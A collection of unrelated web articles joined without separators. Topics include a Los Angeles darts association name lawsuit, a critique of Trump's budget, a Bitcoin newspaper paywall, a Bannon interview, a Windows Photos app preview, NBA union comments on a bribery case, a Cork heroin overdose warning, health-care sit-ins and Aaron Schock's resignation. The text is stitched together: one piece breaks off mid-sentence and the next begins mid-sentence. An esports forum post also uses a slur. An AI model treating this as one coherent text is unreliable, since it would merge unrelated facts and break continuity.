When Irete finished reading the message, he looked up from his phone and thought, "Holy shit, Dino has risen again."
That night at the Robin Hood, Irete, Harvey Fischer, Milan Sabata and Curtis Pierpoint, a residential construction worker, all talked briefly about Zaffina's latest news. They, along with other players, decided there was nothing they could do about it right away, so they carried on with the planned administrative matters and league elections. Irete was named president; Pierpoint won the vice president slot.
"Because of the way [Zaffina] had acted in the past," Fischer says, "I kinda took it lightly."
But to Zaffina, it had long been a serious matter.
About a year earlier, after Fischer had refunded Zaffina's league fees (Zaffina says he cleverly never cashed the check and was not kicked out of the league but rather allowed his league membership to expire at the end of the year), Zaffina asked California's secretary of state for a copy of the SCDA incorporated bylaws. He quickly discovered the SCDA's corporate status had been suspended in 1977 and that it had never been legally revived.
It's impossible to know exactly what thoughts spun through Zaffina's mind the moment he uncovered this bit of news, but on Aug. 24, 2010, he sent a four-page letter, heavily accented with bold type and underlinings, to the unincorporated league, its members and its sponsors. To Zaffina, the letter was to serve as a heads-up. It spelled out that the SCDA had been claiming to operate with the powers and rights of a corporation without actually having legal corporate status, and therefore was operating illegally and in violation of the California Revenue and Tax Code.
Again, the unincorporated SCDA members largely ignored the message.
"In our minds," Pierpoint says, "it was just another in a long line of threats. We had been unincorporated for more than 30 years and were going along just fine as a club, and so when his letter came along, we didn't think much about it."
On Jan. 3, 2011, Zaffina made his next move. He legally incorporated Southern California Darts Association and then filed four subsidiaries — SCDA, So Cal Darts Association, So Cal Darts and SCDA Products. Zaffina would wait eight months, say many of the darts players, before telling them. However, one of the oldest and most prestigious names in the world of darts now belonged to him.
According to author and darts historian Dan William Peek, the SCDA was started by British and Irish expatriates living in the L.A. area in the late 1950s. The group incorporated in 1966 and, according to Pierpoint, swelled to nearly 5,000 members during the 1980s. The association sold merchandise, hosted two international tournaments and raked in nearly $100,000 a year.
Recent times have not been so kind. Thanks to tougher DUI laws and a ban on smoking inside bars, Pierpoint says, the unincorporated league has dwindled to roughly 100 members and brought in between $2,000 and $3,000 a year, all of which went toward paying for equipment storage and trophies at the end of each season.
None of the darts players can recall why the SCDA decided in 1977 not to renew its corporate status. Pierpoint remembers that the issue came up a couple of times during the 1990s but was always voted down.
"We didn't see any real need in it," he says. "Yes, we probably should have filed taxes, but because we're mostly blue-collar knuckleheads who just want to drink beer and throw darts and have fun, we operate more like an informal club. It was ignorant bliss until Dino came along."
After informing the players that he'd incorporated SCDA, Zaffina issued several press releases and a cease-and-desist letter urging them to stop playing matches using the SCDA name.
Finally, on Sept. 26, Zaffina filed a lawsuit against more than 60 named defendants, including Irete, Fischer and Pierpoint. Milan Sabata, who through sheer fear had helped get Zaffina's name removed from the SCDA website the year before, was conspicuously absent from the lawsuit.
Essentially, Zaffina claimed that the unincorporated league members were injuring his actual SCDA company by continuing to operate. He said he was trying to run his league as a for-profit enterprise but could not so long as the unincorporated members were using and trampling on the SCDA's good name.
The following day, Sept. 27, Zaffina fired off another press release, this one informing the defendants that they were on the hook for a $395 court filing fee and telling them how to avoid litigation and further damages.
Over the next several weeks, Zaffina bombarded the darts players with nine press releases (none of which was sent to the media). They included court deadlines, examples of burdensome discovery requests and dollar amounts for how much each defendant would be responsible for paying in order to battle him in court.
"Prepare for a lengthy and costly litigation that may possibly last in excess of two-years and cost each defendant approximately $50,000.00," stated one. "There is no other possible way out," read another.
To many, including darts player Bill Lynch, the press releases sounded like a shakedown. A successful musician, Lynch says he was furious that Zaffina was effectively destroying his beloved darts club. He had plenty of money to hire attorneys and go toe-to-toe with Zaffina in court, so Lynch decided to plunge neck-deep into the fray.
"How could anyone not see his lawsuit as malicious?" Lynch asks. "He's a menace to society and needed to be stopped."
Lynch and his lawyer, Michael Zuk, went so far as to file a cross-complaint against Zaffina, essentially accusing him of blackmail. A judge, however, struck it down, ruling that there was "no conclusive evidence of extortion."
At one point, Lynch says, he was willing to settle with Zaffina, but he asked for a deadline extension in order to have time to contact all of the numerous other defendants. He says Zaffina refused him the extension, so any potential deal fell apart.
"It's like dealing with a little kid who wants to play with his football and gets mad when the other kids are playing with their football," Zuk says. "It's like he wants to be the lone emperor of darts in Southern California."
Why did Zaffina do it? That seems to be the million-dollar question among the darts players.
If you ask Zaffina, he'll say he's a businessman, that he's always had some big ideas on how to run a for-profit darts league, and that snatching up the SCDA name was akin to nabbing a brand name such as Snickers or Campbell's Soup when their owners fell asleep at the wheel.
"Clearly," he stated in a court declaration, the SCDA name "is not The Coca-Cola Company, but what smart businessperson would not acquire a corporation under the name The Coca-Cola Company if that company was so foolish as to let their legal status be suspended by the state's executive branch that regulated corporations?"
Zaffina dismisses the notion that he was motivated by sour grapes, proudly explaining how he told the darts players in August 2010 that their group was not incorporated yet gallantly refrained from acquiring the name until January.
"If they're angry at me because I'm a good businessman," he says, "and because I dot all my I's and cross all my T's and I follow the law, then that's their problem. They had the opportunity for a good four months to get to a lawyer or do it themselves and renew the corporation. They should be angry at themselves, not me."
But most of the players aren't buying it, even the ones who played with Zaffina and say they liked the guy.
"Dino's managed to completely disassemble the old SCDA and ruined it for a lot of guys," says Zaffina's former teammate, Nick Turpin. "To me, it was him getting back at Harvey and these [other] guys. It's ridiculous. What a dick."
Despite his insistence that the SCDA will be a full-fledged business, Zaffina is not tipping his hand. His only disclosure appears in court papers, in which he says he plans to operate a series of steel and soft-tip darts leagues, tournaments and other darts-related ventures.
"It's going to be much bigger than anything anybody could imagine," he tells the Weekly. "That's all I'm going to say. The goal is much bigger than anything these people could have even fathomed."
There is some speculation among the darts players that Zaffina's endeavor, if it's real, will be conducted mostly online. After all, they say, what local is going to want to play in his league?
"I find it ironic," says Fischer, "because he says he wants to make money and promote a darts league, but all the people he's suing would be his clients. He's a bloody idiot."
As far as the players go, they share a collective sense of brotherhood and doom. Most of the pubs they play in have decided to avoid litigation and agreed to Zaffina's terms, which include making sure that no one throws darts there under the SCDA name. Some of the pubs, including Ye Olde King's Head in Santa Monica, have posted signs saying as much.
The darts players are not sure what will come of the lawsuit against them, but they know Zaffina has legally obtained the SCDA name and, on that front at least, they've been licked.
"Dino won," Irete says. "He stopped us from playing. He put fear in too many people's minds and hearts."
Says Pierpoint, "It's really sad. Dino has hurt everyone who played in the league, all because he was trying to screw a few people he was pissed at."
Irete and Pierpoint both say plans are in the works to create a new league for the darts players, complete with new schedules, a proper tax ID and, of course, a new name that will be legally incorporated.
At one point, the players wanted to start fresh under the title Los Angeles Darts Association. Sabata says he mentioned the idea over the summer at the group's annual meeting and then posted the suggestion on Facebook on Sept. 7.
Two days later, according to Internet records, Zaffina bought the domain name losangelesdartsassociation.com. Less than a month later, he also bought the.net and.org versions of the name.
Zaffina denies he ever knew about the players' intent to form under the Los Angeles moniker and says there is no proof that he saw Sabata's Facebook post or that anyone sent him a link to it.
"Even if I was clairvoyant and I knew," he says, "I still have the right to purchase them."
Which, while technically true, are exactly the kinds of words that can piss off a bunch of beer-guzzling darts players.
Reach the writer at cvogel@laweekly.com.The world’s eight richest individuals possess the same amount of money as the world’s poorest 3.6 billion.
According to Oxfam’s annual assessment of wealth distribution, “collectively the poorest 50 percent of people have less than a quarter of 1 percent of global net wealth,” based on data from Credit Suisse. Much of the vast wealth horded by the richest individuals and corporations is shielded from domestic taxes through offshore financial havens and other corporate loopholes.
"Trump’s attempt to manage the budget like one of his businesses seems headed toward another one of his spectacular bankruptcies, and pushing a comprehensive alternative economic model might be the only counterweight to a deeply regressive budget."
But inequality takes different shapes in rich and poor nations. In the Global South, wealth maldistribution often takes the form of exploitation of local resources and deep social deprivation. But in the US, structural poverty is multifaceted and often oversimplified as a matter of personal success or failure. The US, despite having the world’s most powerful economy, leads the “developed” world in the share of the workforce working low-wage jobs; nearly one third of workers earn less than $12 an hour, and are burdened by erratic schedules and poor working conditions. Moreover, these domestic trends disproportionately harm black, Latino and women workers.
Under Trump’s “simplified” tax plan, millionaires would see taxes reduced by ten percent.
Now Trump, the great disruptor, threatens to further destabilize the most vulnerable workers, with a budget centered around tax cuts for the wealthiest. Though he has talked a big game about protectionist trade policies and closing unfair tax loopholes for exporters, his fiscal agenda is fundamentally about redistributing wealth upward.
Under Trump’s “simplified” tax plan, millionaires would see taxes reduced by ten percent. Some families earning between $20,000 and $50,000 would pay more in taxes—for a shrinking social service infrastructure. The burden falls heaviest on lower-income workers, including the roughly 40 percent of the workforce earning less than $15 an hour. On the other side of the ledger, Trump seeks a $54 billion boost for military spending, to be offset by slashing social programs. Though these funds are technically considered “discretionary,” they support essential social welfare programs and public services for struggling households, which have already suffered years of budget cuts.
[block:block=30]
Trump’s vision to “strengthen” America would eviscerate the already disintegrating social-safety net. While he promised to rescue the dying middle class during his campaign, working-poor families will end up more vulnerable to global market volatility, with less job training, worse healthcare and weaker infrastructure. In turn, state budgets will be overwhelmed as pressure to maintain basic services falls on local agencies; as they pay higher taxes, poor households will see less public funding for their dilapidated school districts and community centers, as well as suffer more painful childcare costs. And while childcare subsidies for the poor might be axed, Trump has proposed a limited tax credit to finance childcare, through a capped sum that would largely target the middle and upper classes, not the neediest families.
But Trump still needs political support to pass his budget, particularly because fiscally conservative Republicans in Congress will likely oppose dramatic military spending increases, and prefer just slashing social welfare programs instead.
SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts
Perhaps Trump’s popular base might become disillusioned as he shreds the healthcare system and slashes school budgets. And if he continues to suffer in the opinion polls, he might actually bend on some of his austerity drive. According to Oxfam America analyst Gawain Kripke, robust popular resistance could both stop the devastating cuts and push for new social investments in healthcare, education and the environment: “If the Trump administration goes off the rails… can we speak to the same audience and make a case for reform? There does seem to be a mobilizable base that can get angry.”
But whether that anger can now be channeled productively depends on whether progressive populists have a coherent program for achieving real social equity.
As a corrective progressive alternative agenda, Oxfam points to forms of development that veer away from conventional neoliberal “free market” growth, and is instead based on “adequate—as opposed to maximum—profits.” Alternatively structured industries would emphasize the development of worker-run cooperatives, rather than huge conglomerates, and democratically structured workplaces that prioritize “job security and egalitarian pay scales” over profits. Such companies, Oxfam suggests, “may also forego additional profits by paying workers and farmers fairer wages and prices, or incur greater costs in treating natural resources more sustainably.”
“The big thing is to put a lasso on the superwealthy.”
Rather than focus on GDP expansion (which Trump dramatically overestimates), Oxfam argues, public policy must focus on channeling wealth into equitable development that aims to correct social deficits, closing wealth divides, improving public health, addressing racial and gender segregation, and fostering democratic civic institutions.
In recent weeks, anti-Trump activists have protested the administration’s brutal crackdowns on immigration and threatening protections for immigrants, people of color, poor women and other marginalized groups. Now as Trump rolls out the finances for his assault on civil rights and vulnerable communities, critics are tasked with advancing a counterproposal for an economic program that narrows the abysmal wealth gap and redistributes resources equitably.
“If you look at it decile by decile,” Kripke says, “what’s really happening is that the superwealthy is just taking off from the rest of the population. Yes we should be trying to raise the incomes…But the big thing is to put a lasso on the superwealthy… [to respond to the problem of] these fractions of the economy being captured by the superwealthy and have a sustainable economy. So taxing high incomes, taxing wealth, taxing inheritance, these are ideas and proposals that need to be taken seriously, if you’re serious about reducing inequality.”
European anti-austerity movements might provide models for a redistributative agenda. Populist uprisings in debt-plagued countries like Greece and Spain have rejected the neoliberal restructuring programs imposed by international finance institutions. Instead, progressive lawmakers have put forward plans for taxing excessive wealth. UK Labour Party leader Jeremy Corbyn has proposed executive pay caps to help narrow widening wealth gaps within firms and ensure fairer wage distribution. In the US, activists are pushing a “Robin Hood tax” on financial transactions, to curb Wall Street’s runaway profits and redirect wealth toward social welfare.
Trump’s attempt to manage the budget like one of his businesses seems headed toward another one of his spectacular bankruptcies, and pushing a comprehensive alternative economic model might be the only counterweight to a deeply regressive budget. Disillusionment with Trump’s false “anti-establishment” politics could finally inspire a real populist uprising to rewrite the rules of the global economy from the bottom up.The Chicago Sun-Times, the ninth-largest newspaper in the country, is trying out a Bitcoin paywall.
Starting Feb. 1, for 24 hours, readers will be able to donate some amount of Bitcoins, or confirm that they’ve Tweeted about a nonprofit called The Taproot Foundation, to access the site.
According to TheDomains.com — the first to report the experiment — the goal is to test the functionality and acceptance of Bitcoins on the site.
The Taproot Foundation that connects professionals with pro bono work opportunities at other nonprofits.
The paywall will be set up by BitWall, which helps set up micropayment platforms for online publishers.
“We continue to experiment and test new technologies that we believe engage our readers and look forward to being the first major USA newspaper to test a Bitcoin-based paywall,” Jim Kirk, the publisher and editor-in-chief of the Sun-Times, said in a statement.
We saw the story on Poynter.
Business Insider Emails & Alerts Site highlights each day to your inbox. Email Address Join
Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.Former White House Chief Strategist Stephen K. Bannon believes Senate Majority Leader Mitch McConnell (R-KY) and House Speaker Paul Ryan (R-WI) are trying to “nullify” the 2016 election because they do not believe in the economic nationalist agenda that got President Donald Trump elected.
In an interview with CBS anchor Charlie Rose that will air on Sunday’s 60 Minutes, Bannon said that is why he is going to “war” with the Republican establishment. He also revealed that McConnell even told Trump’s team to “back off” the “drain the swamp” talk during one of their first meetings.
“The Republican establishment is trying to nullify the 2016 election,” Bannon told Rose, in a clip that the CBS Evening News previewed on Thursday evening. “That’s a brutal fact we have to face.”
When Rose asked him to name names, Bannon answered, “I think Mitch McConnell, and to a degree, Paul Ryan. They do not want Donald Trump’s populist, economic nationalist agenda to be implemented. It’s very obvious.”
Bannon then told Rose that during one of the first meetings with McConnell at Trump Tower, the Senate Majority Leader told Trump’s team, “I don’t wanna hear any more of this ‘drain the swamp’ talk.”
The Breitbart News executive chairman said McConnell told them that “a guy up on Capitol Hill can’t buy a Coke unless it’s gotta be reported” and, as a result, he “can’t hire any smart people.”
McConnell, according to Bannon, insisted Trump’s team stop talking about draining the swamp, saying, “you gotta back off that.”
Bannon also told Rose that Messrs. Ryan and McConnell are not going to help Trump “unless they’re put on notice. They’re gonna be held accountable if they do not support the President of the United States. Right now there’s no accountability. They do not support the president’s program. It’s an open secret on Capitol Hill. Everybody in this city knows it.”
Rose then asked, “now that you’re out of the White House, you’re going to war with them?”
Bannon replied, “absolutely.”MY.MANIFESTO serves as a tool to outline the philosophies and belief systems of the most prolific thinkers throughout history.
Our first in this series highlighted Japanese swordsman Miyamoto Musashi, acclaimed author of The Book of Five Rings - a guide to his strategies and philosophies on life. In our second installment, we will be discussing one of the most inspiring sports coaches of all time.
Vince Lombardi achieved massive acclaim throughout his career as a professional athlete and coach. His ability to motivate others, along with his insatiable drive for victory, made him the standard against which leaders in every field are now measured.
The following manifesto, composed by his son, reveals the
26 principles behind Lombardi’s legendary success.
Ask yourself tough questions.
Look the truth straight on.
Play to your strengths.
Write your character.
Think big picture.
Be completely committed.
Work harder than everybody else.
Be prepared to sacrifice.
Be mentally tough.
Balance humility and pride.
Lead with Integrity.
Build team spirit.
Explain the why’s.
Strike the balance.
Build confidence.
Use your mission.
Know your stuff.
Demand autonomy.
Respect legitimate authority.
Act. Don’t React.
Keep it simple.
Chase perfection.
Tailor your motives.
Motivate by degrees.
Focus on fundamentals.
Run to win.Previously called “Project NEON”, Microsoft continues the implementation of what we now know to be called “Fluent Design Language”. This design language will be spreading through the OS in the next several months. We’ll see all sorts of cool things like acrylic material design, or new animations that tie together the Windows experience.
Major Photos Update
In this build, we have a whole new Photos experience with a completely reimagined user interface. The landing page has been renamed to ‘explore’, which contains the list of all your photos and videos sorted by date, with options for thumbnail size at the top (huzzah).
At the top of the Explore page, you’ll see a carousel of items called the Discovery Bar. This bar shows different buttons and actions of things, like a button to add source folders, some automatically created albums, suggestions, or even an ‘On this day’ page that shows you everything you did on this date through the years.
When you open a photo, you’ll see that the whole photo viewer has been reorganized. The navigation has been moved to the top center, the editing tools are combined into a drop down menu with colored icons, and the add to album button is now called ‘Add to story’. More on this in a moment.
For as long as Windows 10 has been around, people have asked for a search bar in the Photos app, and Microsoft has finally delivered that. This search bar rivals the functions of App |
on, officers left no stone unturned in searching for evidence both at Bolinger’s house and elsewhere to ensure we presented the very best case possible regarding his actions online and his very clear intentions with a young and potentially very vulnerable girl.
'This was clearly a lengthy, painstaking and complicated investigation with a significant amount of evidence recovered in the USA.
'I hope the conviction and sentencing should serve to highlight to those attempting to hide their identity online with the intention of carrying out criminal actions: there is no hiding place.The Shakespeare All-Stars are among the attractions at the Independence Park Farmers Market. View Full Caption Facebook/Shakespeare All-Stars
IRVING PARK — It's easy to see why the Michelin Guide has recommended the Independence Park Farmers Market three years running: Any market that combines shopping for produce with Shakespeare and knife-sharpening is worth a visit.
The market makes its 2013 debut from 9 a.m. - 1 p.m. Sunday, and recurs twice a month through the end of October.
Its 30 vendors offer everything from fresh fruits and vegetables to Halal lamb, from chemical-free soaps to kettle corn, and gourmet chocolates to vegetarian tamales.
Though food and food products are the market's primary focus, it also boasts a number of entertainment attractions.
To keep the little ones occupied, a free children's crafts class is offered from 10 a.m. to noon. An interactive performance of The Shakespeare All-Stars Outreach Ensemble takes place at 11 a.m.
Indy Park Jammers add a touch of bluegrass to the market, encouraging guests to bring along their guitar or banjo and join in the fun.
Dates for the 2013 Independence Park Farmers Market, at Irving Park Road and Springfield Avenue: June 9 and 23; July 14 and 28; Aug. 11 and 25; Sept. 8 and 22, and Oct. 13 and 27.NEW YORK – The National Basketball Players Association is reviewing the federal filing that levels corruption charges at multiple major college basketball coaches and a high-level executive at Adidas to determine if there are relationships between those named in the complaint and NBA players, NBPA executive director Michele Roberts told The Vertical.
Scroll to continue with content Ad
On Tuesday, Roberts directed the NBPA general counsel, Gary Kohlman, to direct his staff to determine if any of the named defendants have relationships with NBA players and what relationships the defendants have with agents or other financial advisers who are known to be dealing with NBA players.
“We are going to be rigorous in making sure that anybody who is engaged in this misconduct is out, at least in terms of being certified by this [players association] to continue to work with our players,” Roberts told The Vertical.
NBPA executive director Michele Roberts (Getty)
Among the coaches charged was Chuck Person, an Auburn assistant and a 13-year NBA veteran. Person is charged with soliciting and accepting bribes from a financial adviser for professional athletes. In exchange, Person agreed to steer certain players from Auburn to the adviser when the players made the NBA.
As part of the investigation, the FBI raided the office of Andy Miller, according to multiple reports. Miller, one of the NBA’s most prominent agents, is the founder of ASM Sports. Christian Dawkins, one of 10 people arrested Tuesday, is a former agent at ASM. Dawkins was fired by ASM in May for allegedly charging $42,000 in Uber rides to a client’s credit card.
Miller did not immediately respond to a request for comment.
Story continues
While the NBPA does not certify financial advisers, Roberts made it clear that any agent involved in misconduct would be held accountable.
“Agents we scrutinize much more thoroughly because we do have the power to allow or disallow them to represent our players,” Roberts said. “Agents understand that if there is an issue, we will hold them directly responsible for the referral.”
While the federal investigation is focused on college basketball, Roberts expects the fallout to impact the NBA and its players.
“This is the kind of criminal prosecution that generally results in people, in my words, flipping,” Roberts said. “There are too many close associations between some of the named defendants and people that I know are actively engaged with [NBA] players to think that it won’t have any impact. It will. But it’s almost good news. If people are engaged in this kind of conduct and potentially harming our players, thank you U.S. Attorney’s office, I’ll get right on it and get rid of them.”
“This is the sort of thing that keeps me up at night. Our players are literally stalked because of their income by people, most with good intentions, but far too many without. It’s disturbing. I feel badly at the college level because to [an] extent it works. Frankly because these kids are not compensated in ways that would make them able to say no to overtures of that kind of cash. It needs to be addressed in the first instance at the college level, but to the extent it impacts our players, we will figure it out and take care of it.”
*** For more on Chris Mannix’s discussion with Michele Roberts, which includes NBA players’ response to President Donald Trump’s racially charged attacks on NFL players, listen to The Vertical Podcast on iTunes, here or on The Vertical.
More from Yahoo Sports:
• President Trump to Cowboys owner: ‘Players will stand’
• NASCAR star’s risky statement on anthem protests
• Mayweather unveils his huge painting of McGregor
• After Trump remarks, Magic Johnson gets politicalOur fucking team name please save me from saam's tyranny Also LOL slin casting our first match
We had to reschedule this to tonite, sorry for any inconvenience
We had to reschedule this to tonite, sorry for any inconvenience
ok so cookiejake is a fucking retard and paid with echeck. does anyone know what the best way for him to be able to play tonite would be? i'm thinking cancel the payment and roster a new esea account, then pay that up correctly
does anyone know what the best way for him to be able to play tonite would be? i'm thinking cancel the payment and roster a new esea account, then pay that up correctly
8 #8 truktruk Tip of the Hats 8 Frags – +
There's a bit of confusion between which match is being casted tonight. It'll be this one or this one. Either way the broadcast will be live at 11pm est. I'll edit my post to clarify when everything is figured out. EDIT: This match has been rescheduled from 10:30 est to 11:00 est. We will be casting it tonight.
There's a bit of confusion between which match is being casted tonight. It'll be this one or [url=https://play.esea.net/index.php?s=stats&d=match&id=7728203]this one.[/url] Either way the broadcast will be live at 11pm est. I'll edit my post to clarify when everything is figured out.
EDIT: This match has been rescheduled from 10:30 est to 11:00 est. We will be casting it tonight.The HSE has confirmed that two men have died in Cork in the past 24 hours from suspected intravenous heroin overdoses.
Two others are said to be in a serious condition in hospital.
David Lane of HSE South Addiction Services said were it not for the prompt action of someone alerting the emergency services these two would also have died.
The HSE was unable to confirm that five more people are being treated as a result of the effects of the same batch of heroin.
It said: "While investigations are ongoing into these cases, it is believed that it is possible that they are as a result of a strong batch of heroin which may be in circulation."
The HSE has alerted medical professionals in the region to be on the alert for patients presenting as a result of heroin misuse.
Mr Lane said that it is urging community and voluntary groups working with intravenous drug users to get the message out about the health risks associated with the batch.
He said: “It may actually be more powerful than what they're used to because our suspicion is that there is a purer form of heroin on the streets at the moment.
“So the tolerance levels will not be the same as what people might be used to in terms of their injecting drug use,” he said.
Dr Chris Luke, a consultant from Cork University Hospital, said that the “obvious advice” is “to refrain from injecting any drug” in Cork for the next few days or weeks, especially one that is sold as heroin.
Speaking on RTÉ's Six One News, Dr Luke said that if people insist on injecting drugs, that they must ensure that they do not do so alone, as this is the “most high risk sort of activity you could imagine”.
There is an antidote and it can save lives, Dr Luke said, but it must be administered very quickly.The fight against Republicans' attempts to repeal Obamacare continued with several "Stop Trumpcare" sit-ins in states across the country on Thursday. The Senate health care bill was delayed from coming to a vote before the Fourth of July recess, and those who oppose the bill (including a majority of Americans, according to polls) took full advantage of the break to voice their opposition to their elected representatives.
Organized by a coalition of progressive groups — Democracy Spring, Our Revolution, Democratic Socialists of America, #AllOfUs, Progressive Democrats of America, Ultraviolet, the People's Consortium, the Working Families Party, and resisthere.org — the sit-ins are a form of "nonviolent direct action" at district offices of senators across the country in protest against the Republican health care bill.
You can look up the full list of sit-ins on the websites for Our Revolution, Bernie Sanders’ grassroots political organizing group. If you want to get involved (anywhere from supporting a sit-in from afar to personally risking arrest by joining in), you can do so by signing up at Action Network.
Unlike last spring, when defenders of Obamacare hounded their members of Congress at Town Hall events where representatives met with their constituents, Republican senators are reportedly avoiding public events where they could be confronted about the health care bill. While some Trumpcare opponents were able to pressure their senators against the bill at July Fourth parades, for the most part, activists have had to find novel ways to get attention despite members of Congress who are trying to avoid scenes of public opposition, including Thursday's #StopTrumpcare sit-ins.
The most consistent action popping up is activists staging sit-ins around the country. Last week, a set of disability rights advocates refused to leave the office of Senator Cory Gardner (R-CO) for two days, leading to their arrests. On Wednesday, something similar happened in Arizona at Senator Jeff Flake’s office. On Thursday, Democratic grassroots activists are getting involved, with at least 33 actions in at least 22 states.
Many of the senators being targeted for sit-ins, such as Dean Heller in Nevada, Rob Portman in Ohio, Susan Collins in Maine, and Lisa Murkowski in Alaska, have already expressed their own misgivings on the bill, and activists hope to turn that mild opposition into a staunch one.
With much of the negotiations over the Senate health care bill happening behind closed doors and the issue receding from headlines a bit as President Trump travels abroad, sit-ins like these are how people opposed to the Republican health care proposals hope to keep the fire of opposition burning, and keep the issue at the front of the national discourse.
Already, disability advocates who were arrested protesting the bill in Washington, D.C. focused the conversation on how the bill cuts Medicaid, likely contributing to its unpopularity. For the people organizing these sit-ins, the hope is clearly that more activism can remind senators how much opposition there really is.Through two games for the Baltimore Ravens, other than red zone efficiency there’s been little to complain about offensively.
Quarterback Joe Flacco appears to be growing in Gary Kubiak’s offense, the usage of tight ends has increased as expected, Steve Smith Sr. has made an instant impact, Justin Forsett has fared well, but most importantly, the offensive line looks much improved.
From a healthy Kelechi Osemele to a not-so bad first two games from Ricky Wagner, all five offensive line positions look to be reliable commodities as the team heads into Week 3 of the season.
The most important component of the offensive line, though, may be the center position, and new addition Jeremy Zuttah has answered the call thus far.
Replacing Gino Gradkowski, – probably the worst starter on the Ravens last season – pretty much anything Zuttah provided would have been welcomed, but so far, his impact has been felt, and he has been an obvious improvement over Gradkowski.
CBS color commentator Phil Simms may say a lot of things that don’t make sense, but he did make one agreeable statement during Thursday night’s Ravens-Steelers matchup.
Simms noted that no offense can have success without good play from the center, and as has been the case with Baltimore’s offense this season, that statement has been validated.
Some say left tackle is the most important offensive line position, but much more responsibility lies on the center, and quite frankly, the center’s duties in both pass and run blocking make him the most important piece of the line.
Having Zuttah, someone we knew was going to be a good addition from day one, has done wonders for Baltimore’s offense through two games, and should be a year-long stable option in the middle of the offensive line.
Baltimore’s offense by no means strikes fear in the hearts of opponents, but it has certainly improved over last season, a necessary step to improving on last year’s 8-8 finish.
Let’s take a look at how Zuttah’s presence has been a valuable one in Baltimore.
What needs to be noted with Zuttah is that he isn’t dominating the opposition, but he’s been adequate enough to hold his own on plays in which a slip-up on his part would ruin a play for the offense.
On plays in which Gradkowski struggled last season, Zuttah’s skill set has been enough to give Flacco ample time to make throws from the pocket, a rarity in 2013.
For example:
On this play, Zuttah deals with two blitzing standup linebackers – Vontaze Burfict and Emmanuel Lamur – from the interior.
Certainly not an enviable situation for Zuttah, who can’t block them both.
Luckily for him, the presence of running back Justin Forsett in the backfield eases the pain, but off the snap, Zuttah must win against at least one of the two blitzing linebackers before Forsett even steps up in the pocket.
A comfortable pocket forms for Flacco as Forsett steps up to take on Lamur, who switched toward the left side of the defense after engaging with Zuttah initially.
Zuttah successfully grabs ahold of Burfict enough to gain positioning and give Flacco time.
The play doesn’t exactly separate Zuttah from any other good centers in the NFL, but it is one that displays the improvement at the position over Gradkowski.
With two blitzing athletic linebackers lining up over Gradkowski, how confident would you be that Flacco would have a clean pocket and get the throw out on time?
Probably not very confident.
Zuttah’s presence calms things down for the offense; Flacco can feel more comfortable and patient in the pocket.
Here’s another example from the Bengals game, with Zuttah lined up head on with extra-talented defensive tackle Geno Atkins.
Off the snap, Atkins easily gets going faster and gains the leg up on Zuttah.
Flacco hasn’t even received the ball yet and Atkins has already flown out of his stance and begun his pursuit of the passer.
At this point, things don’t look good for Flacco, who has barely secured the football.
With this view, it looks like Atkins will end up with a clear shot at Flacco before the play even gets going, right?
Zuttah regains his balance quickly, though, and slides enough to his left in order to extend his arms and throw Atkins off.
By getting a hand on Atkins and shifting his body weight – as well as the fact that Flacco is passing to the right – the defender attempts to beat Zuttah on the inside, but as Flacco readies his throw, Zuttah is in prime position to hold Atkins off.
Plays like these are the reliable ones needed from a quality center.
Pass blocking is nice, but being a difference maker as a run blocker is needed as well.
In the game against the Steelers, Zuttah routinely struggled holding blocks as a run blocker, sometimes leading to a poor run play due to his struggles.
However, he came through big when the team needed him most in that game.
On a 4th & 1 situation in the first quarter, the Ravens opted to go for the first down, with a quarterback sneak being the play call.
The play was designed to run directly behind the center, and Zuttah didn’t disappoint.
Initially, Flacco simply follows Zuttah, as the center leads the way on the first push.
At this point during the play, the first down has already been obtained, but how about a few more yards?
Flacco follows Zuttah even further downfield on the play, picking up extra yards thanks to the reliable play from his center.
Why was this such a key play?
Not only was it a fourth down, but by picking up the first down, the offense was able to complete a touchdown drive that set the tone for the game.
It’s easy to notice the improvement at the center position in Baltimore.
Zuttah isn’t in the upper echelon of NFL centers, but he’s good enough to be a valuable piece for the offense this season.
His play through one eighth of the season provides confidence in consistent quality play from the offseason addition.Sarah Tew/CNET
Let's face it: CES is often about hype. New products, new promises, and a lot of very thick carpeting greets us every year, and as we sort out what impressed us most about the show, we can only hope that some of these gadgets actually deliver.
With CES 2011 just around the corner, it's a perfect time to take a look back at the year that was, and see how the biggest stories of CES 2010 fared. Some of them did remarkably well, including our best-of-show winner, the Panasonic TC-PVT25 Others, not so much (remember the Motorola Backflip?). Then there's the virtual vaporware (we're still waiting on the IdeaPad U1 Hybrid...and Cell TV...smartbooks). And, of course, CES 2010 didn't even capture some of the biggest stories of the year, including Apple's iPad and a huge wave of next-gen Android phones.
Click below for a quick look back. It's a good reminder of how much can change in a year.Republican congressman tells Politico he is to step down amid questions over his use of campaign and taxpayer funds
Illinois representative Aaron Schock, a rising star who has faces several ethics inquiries into expensive trips and an elaborately decorated Downton Abbey-themed office, will resign from Congress, Politico reported on Tuesday.
Aaron Schock's mileage claims suggest long road to resignation for Republican Read more
Schock, a Republican who has served in the House since 2009, came under scrutiny over the last month after allegations surfaced that he had improperly used taxpayer and campaign funds on lavish activities including dinners, flights in private jets, and even concert tickets.
“Today, I am announcing my resignation as a Member of the United States House of Representatives effective March 31,” Schock said in a statement to Politico. “I do this with a heavy heart. Serving the people of the 18th District is the highest and greatest honor I have had in my life. I thank them for their faith in electing me and letting me represent their interests in Washington. I have given them my all over the last six years. I have traveled to all corners of the District to meet with the people I’ve been fortunate to be able to call my friends and neighbors.”
“But the constant questions over the last six weeks have proven a great distraction that has made it too difficult for me to serve the people of the 18th District with the high standards that they deserve and which I have set for myself,” he added. “I have always sought to do what’s best for my constituents and I thank them for the opportunity to serve.”
Schock’s fall from grace began with a seemingly harmless report in the Washington Post that his office on Capitol Hill was decorated in the likeness of a room in the PBS drama Downton Abbey.
But when Schock refused to answer questions about the office, questions quickly surfaced over whether he had violated congressional ethics rules.
A barrage of media coverage soon followed the once-rising Republican star, detailing his frequent dependence on political donors to help broker real estate and other private business deals. The reports prompted an investigation by the Office of Congressional Ethics, an independent panel tasked with reviewing ethics complaints against members of the House of Representatives.
The final blow appeared to occur on Monday, when details surfaced of a sweetheart property deal Schock purportedly received from a group of his campaign donors. The report claimed that a shell company linked to Schock paid $300,000 to a political donor for a warehouse in Peoria, Illinois, and subsequently took out a $600,000 mortgage on the property from a local bank also run by Schock donors.
